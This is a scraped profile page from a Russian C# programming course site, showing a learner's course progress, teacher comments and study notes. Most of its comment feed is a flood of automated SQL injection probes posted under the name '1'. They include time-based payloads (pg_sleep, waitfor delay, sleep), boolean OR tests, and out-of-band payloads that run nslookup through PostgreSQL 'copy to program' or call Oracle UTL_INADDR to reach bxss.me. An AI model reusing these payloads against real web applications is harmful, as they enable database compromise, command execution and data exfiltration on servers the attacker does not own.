Си шарп с нуля

Формула программиста

основатель — Волосатов Евгений Витольдович

Петя
  • Звание: Делегатор
  • Накопленный опыт: 255 часов
  • Баланс Мегахешей: собрано 12751 Mh, потрачено 720 Mh , остаток 12031 Mh
  • Баланс Байтов: нет
  • Не состоит в «Клубе формулистов»
  • Последний визит: 2021-12-23 18:12:46
  • Возраст: 40 лет

Видеокурсы

Дата активности Видеокурс Прогресс
2021-12-20 nypython Новогодний python 4 из 19 %
2018-09-29 nevermind Невидимка все 5 %
2018-09-23 game2 Микроигры 10 из 17 67 %
2018-09-08 start Начало здесь 5 из 9 %
2018-08-22 sweep Боты Сапёра 29 из 32 91 %
2018-08-19 power Дневник успеха 3 из 246 50 %
2018-08-15 iterator Итератор 6 из 10 60 %
2018-08-04 base2 БД - Управление гостиницей 7 из 31 23 %
2018-08-01 soft2 Новые технологии 3 из 18 20 %
2018-07-31 soft3 Теория ООП 6 из 39 16 %
2018-01-10 javasweeper Java Sweeper 28 из 52 %
2017-12-02 soft0 Демо софт 7 из 8 100 %
2017-12-02 game0 Демо игры 9 из 10 90 %
2017-11-20 task5 Секундомер все 17 107 %
2017-11-19 soft1 Нанософт все 10 100 %
2017-10-21 game4 Игры со Спрайтами 4 из 33 13 %
2017-10-07 task4 Графические циклы все 13 100 %
2017-04-29 lines Шарики 6 из 9 75 %
2017-04-07 memory Карточки памяти 2 из 14 %
2017-03-31 game1 Нано-игры 8 из 9 80 %
2017-02-21 telebot API Telegram 1 из 24 5 %
2016-04-14 webbot Webbot On-Line 4 из 23 18 %
2016-04-09 words Игры со словами 4 из 7 58 %
2016-03-06 network Сетевые технологии 4 из 13 31 %
2016-02-02 task3 Комбинаторика 1 из 22 5 %
Итого: 196 из 690 29 %

Консольные задачи

Дата активности Консольный раздел Прогресс
2018-10-15 jawa START - Запуск все 1 100 %
2018-09-08 solo C# набор 12 из 17 71 %
2018-09-04 task2 Алгоритмика 8 из 20 40 %
2018-08-16 task1 Строки 8 из 14 58 %
2018-08-07 task1 Целые числа все 7 100 %
2018-08-03 solo Java - Вывод данных 3 из 7 43 %
2018-08-02 solo Java - Запуск 2 из 13 16 %
2016-03-20 task2 Do-рацикл 1 из 4 25 %
2016-03-19 task1 Семантика все 6 100 %
Итого: 48 из 89 54 %
Сохранить страницу:

791. --
Валерий Жданов
Валерий Жданов
ответить
→  Петя  # Новогодний python / Подарки: рефакторинг и перемещение без рисования / 2021-12-21 21:20

можно в виде кода. в дальнейшем мы это обязательно используем при создании ленточек.


19090. --
Alexey Mikhailov
Alexey Mikhailov
ответить


791. --
Валерий Жданов
Валерий Жданов
ответить
→  Петя  # Новогодний python / Подарки: создание проекта / 2021-12-15 21:46

Необходим комментарий: чему научился, что было сложным. Прочерки отклоняю



31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:29

824'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:29

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-18831.11120.5b03f.\1.bxss.me


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:29

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-18832.11120.2c7aa.\1.bxss.me


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:29

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-18827.11120.2c7aa.\1.bxss.me'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:29

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-18826.11120.5b03f.\1.bxss.me'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:29

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18823.11120.2c7aa.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18824.11120.5b03f.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18821.11120.5b03f.1.bxss'||'.me')


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:28

87JO1odv');select pg_sleep(23.951999999999998); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:28

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18822.11120.2c7aa.1.bxss'||'.me')


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:28

wNae8EVQ'));select pg_sleep(15.968); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:28

842'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

kbmoNSbq'));select pg_sleep(8.532); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:28

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-18820.11120.6a0b1.\1.bxss.me


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

PMrQtaDQ'));select pg_sleep(4.266); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:28

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-18819.11120.6a0b1.\1.bxss.me'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

RzJW0OYo');select pg_sleep(12.798); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:28

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18818.11120.6a0b1.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:28

VVaN9V55';select pg_sleep(23.951999999999998); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

IHbbuuBf';select pg_sleep(12.798); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

I00IxdE8';select pg_sleep(8.532); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:28

-1);select pg_sleep(15.968); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:28

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18815.11120.6a0b1.1.bxss'||'.me')


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:28

-1);select pg_sleep(4.266); --


31528. --
1
1
ответить

31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:27

-1));select pg_sleep(8.532); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:27

-1);select pg_sleep(8.532); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:27

pgBKxQE6';select pg_sleep(20.796); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:27

1


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:27

kqUNHNmK'));select pg_sleep(20.796); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:27

D2i9Oh6S');select pg_sleep(62.388); --



31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:27

-1;select pg_sleep(4.266); --


31528. --
1
1
ответить

31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:27

uGoZvYxQ'; waitfor delay '0:0:12.798' --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:27

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-18814.11120.9bb3a.\1.bxss.me


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:27

uOfA1VvW'; waitfor delay '0:0:23.951999999999998' --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:27

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-18813.11120.9bb3a.\1.bxss.me'


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:27

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18812.11120.9bb3a.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:27

@@nbRjq


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:27

1


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:27

-1; waitfor delay '0:0:7.984' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:27

-1));select pg_sleep(62.388); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

1 waitfor delay '0:0:4.266' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:26

(select(0)from(select(sleep(7.984)))v)/*'+(select(0)from(select(sleep(7.984)))v)+'"+(select(0)from(select(sleep(7.984)))v)+"*/


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:26

-1" OR 2+230-230-1=0+0+0+1 --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18811.11120.9bb3a.1.bxss'||'.me')


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

-1));select pg_sleep(9.375); --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

VxnS494i'));select pg_sleep(28.125); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

-1); waitfor delay '0:0:12.798' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:26

-1);select pg_sleep(62.388); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

-1; waitfor delay '0:0:12.798' --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

3IWQwgoW');select pg_sleep(28.125); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:26

-1;select pg_sleep(41.592); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

(select(0)from(select(sleep(8.532)))v)/*'+(select(0)from(select(sleep(8.532)))v)+'"+(select(0)from(select(sleep(8.532)))v)+"*/


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

9NBXtHwt';select pg_sleep(18.75); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:26

s17bJZan'; waitfor delay '0:0:41.592' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

if(now()=sysdate(),sleep(8.532),0)/*'XOR(if(now()=sysdate(),sleep(8.532),0))OR'"XOR(if(now()=sysdate(),sleep(8.532),0))OR"*/


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

-1));select pg_sleep(18.75); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

-1" OR 2+494-494-1=0+0+0+1 --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:26

1 waitfor delay '0:0:20.796' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:26

-1' OR 2+417-417-1=0+0+0+1 or 'Qt0xVr86'='


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:26

-1' OR 2+540-540-1=0+0+0+1 --



31528. --
1
1
ответить
→  Петя  # Java Sweeper / Метод рисования / 2021-07-31 04:26

-1 OR 2+942-942-1=0+0+0+1





31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:26

-1);select pg_sleep(9.375); --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:26

-1' OR 2+664-664-1=0+0+0+1 or 'zUzoGnne'='


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

-1); waitfor delay '0:0:62.388' --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

-1;select pg_sleep(28.125); --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

iaG3vVc9'; waitfor delay '0:0:28.125' --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

1 waitfor delay '0:0:28.125' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

-1; waitfor delay '0:0:20.796' --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:25

-1' OR 2+412-412-1=0+0+0+1 --



31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

-1); waitfor delay '0:0:28.125' --


31528. --
1
1
ответить
→  Петя  # Боты Сапёра / ИИ - Жучкин алгоритм / 2021-07-31 04:25

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-18800.11120.d73f6.\1.bxss.me


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

(select(0)from(select(sleep(62.388)))v)/*'+(select(0)from(select(sleep(62.388)))v)+'"+(select(0)from(select(sleep(62.388)))v)+"*/


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Случайные бомборазмещения / 2021-07-31 04:25

-1 OR 2+842-842-1=0+0+0+1


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

if(now()=sysdate(),sleep(41.592),0)/*'XOR(if(now()=sysdate(),sleep(41.592),0))OR'"XOR(if(now()=sysdate(),sleep(41.592),0))OR"*/


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

-1; waitfor delay '0:0:28.125' --


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

(select(0)from(select(sleep(28.125)))v)/*'+(select(0)from(select(sleep(28.125)))v)+'"+(select(0)from(select(sleep(28.125)))v)+"*/


31528. --
1
1
ответить
→  Петя  # Боты Сапёра / ИИ - Жучкин алгоритм / 2021-07-31 04:25

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-18799.11120.d73f6.\1.bxss.me'


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

if(now()=sysdate(),sleep(28.125),0)/*'XOR(if(now()=sysdate(),sleep(28.125),0))OR'"XOR(if(now()=sysdate(),sleep(28.125),0))OR"*/


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

-1" OR 2+778-778-1=0+0+0+1 --


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

-1' OR 2+559-559-1=0+0+0+1 or 'bplAvq8y'='


31528. --
1
1
ответить
→  Петя  # Итератор / Итератор. Волшебное слово yield. / 2021-07-31 04:25

if(now()=sysdate(),sleep(9.375),0)/*'XOR(if(now()=sysdate(),sleep(9.375),0))OR'"XOR(if(now()=sysdate(),sleep(9.375),0))OR"*/


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:25

-1' OR 2+100-100-1=0+0+0+1 --


31528. --
1
1
ответить
→  Петя  # Боты Сапёра / ИИ - Жучкин алгоритм / 2021-07-31 04:25

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18798.11120.d73f6.1.bxss'||'.me')||'




31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:24


31528. --
1
1
ответить
→  Петя  # Java Sweeper / Фасадный класс / 2021-07-31 04:24

-1 OR 2+38-38-1=0+0+0+1


  • Звание: Делегатор
  • Накопленный опыт: 255 часов
  • Собранный капитал: нет
  • Участник «Клуба формулистов»: до 2018-08-22

Клуб формулистов

Правила клуба формулистов

У каждого формулиста есть задача минимум на каждый день:
+ зайти на сайт, проверить один отчёт, получить 1 байт.
Задача максимум - выполнить все остальные ежедневные задачи.
Нажмите здесь чтобы перейти к ежедневному чек-листу.

В 24:00 МСК накопленные за сутки байты переносятся в недельный актив.
В воскресение 24:00 МСК все накопленные байты переходят на баланс формулиста.

Собранные байты можно обменивать на доступные видеокурсы (1 байт = 1 рубль, без скидок)
Приобретённые за байты видеокурсы доступны только во время нахождения в автобусе/клубе формулистов!

При завершении подписки в автобусе/клубе формулистов все накопленные байты обнуляются, а доступ к видеокурсам, приобретённым за байты, закрывается.
Продлевайте подписку заблаговременно.

Начинаем практику по языку C#





Если вы пришли без приглашения -
введите тысяча двадцать четыре (цифрами).
Чтобы стать хорошим программистом — нужно писать программы. На нашем сайте очень много практических упражнений.

После заполнения формы ты будешь подписан на рассылку «C# Вебинары и Видеоуроки», у тебя появится доступ к видеоурокам и консольным задачам.

Несколько раз в неделю тебе будут приходить письма — приглашения на вебинары, информация об акциях и скидках, полезная информация по C#.

Ты в любой момент сможешь отписаться от рассылки.


Научился: первый раз столкнулся с bitmap, rectangle, DrawImage
Трудности: урок дался тяжеловато, я бы сказал вязко, приходилось некоторые вещи (например новые функции связанные с рисованием) осмысливать со второй-третьей попытки, координаты-матрицы почему-то тяжко дались хотя в институте ими мучали в свое время на вышке пару лет, почему-то всё время неотступно преследовала мысль(как и в предыдущей игре 15), что всё это можно было сделать попроще(возможно это не так)
замечания только к самому себе, лень было гуглить и смотреть чего еще можно добиться с помощью bitmap, rectangle, DrawImage


Научился: узнал про команды mysql
Трудности: непонятно почему не сделали внешние ключи для таблицы map, надеюсь в следующем уроки про них напомнят